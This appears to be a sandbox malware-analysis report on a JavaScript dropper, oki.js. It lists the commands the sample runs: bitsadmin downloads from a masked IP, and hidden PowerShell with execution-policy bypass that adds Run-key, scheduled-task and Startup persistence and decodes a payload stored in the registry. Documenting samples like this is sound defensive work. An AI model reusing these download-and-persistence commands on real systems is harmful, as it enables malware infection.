Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'sch' = '%TEMP%\oki.js'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\oki.js
- <SYSTEM32>\tasks\sch
Malicious functions
Creates and executes the following
- '<SYSTEM32>\bitsadmin.exe' /transfer 8 http://18#.##3.96.116:7975/oki.js %HOMEPATH%\oki.js
- '<SYSTEM32>\wscript.exe' "%HOMEPATH%\oki.js"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('Temp')+'\oki.js',[System.IO.File]::ReadAllText('%HOMEPATH%\ok...
- '<SYSTEM32>\wscript.exe' %TEMP%\oki.js
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'sch' -value '%TEMP%\oki.js' -PropertyType Strin...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "schtasks /create /sc minute /mo 45 /tn sch /tr '%TEMP%\oki.js'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\oki.js',[System.IO.File]::ReadAllText('%TEMP%\oki.js'))"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'sch').sch;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]:...
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 45 /tn sch /tr %TEMP%\oki.js
Modifies file system
Creates the following files
- %HOMEPATH%\biteb38.tmp
- %TEMP%\oki.js
Sets the 'hidden' attribute to the following files
- %HOMEPATH%\biteb38.tmp
Moves the following files
- from %HOMEPATH%\biteb38.tmp to %HOMEPATH%\oki.js
Network activity
Connects to
- '18#.#53.96.116':7975
TCP
HTTP GET requests
- http://18#.##3.96.116:7975/loader.hta via 18#.#53.96.116
- http://18#.##3.96.116:7975/oki.js via 18#.#53.96.116
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\bitsadmin.exe' /transfer 8 http://18#.##3.96.116:7975/oki.js %HOMEPATH%\oki.js' (with hidden window)
- '<SYSTEM32>\wscript.exe' "%HOMEPATH%\oki.js"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('Temp')+'\oki.js',[System.IO.File]::ReadAllText('%HOMEPATH%\ok...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'sch' -value '%TEMP%\oki.js' -PropertyType Strin...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "schtasks /create /sc minute /mo 45 /tn sch /tr '%TEMP%\oki.js'"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\oki.js',[System.IO.File]::ReadAllText('%TEMP%\oki.js'))"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'sch').sch;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]:...' (with hidden window)
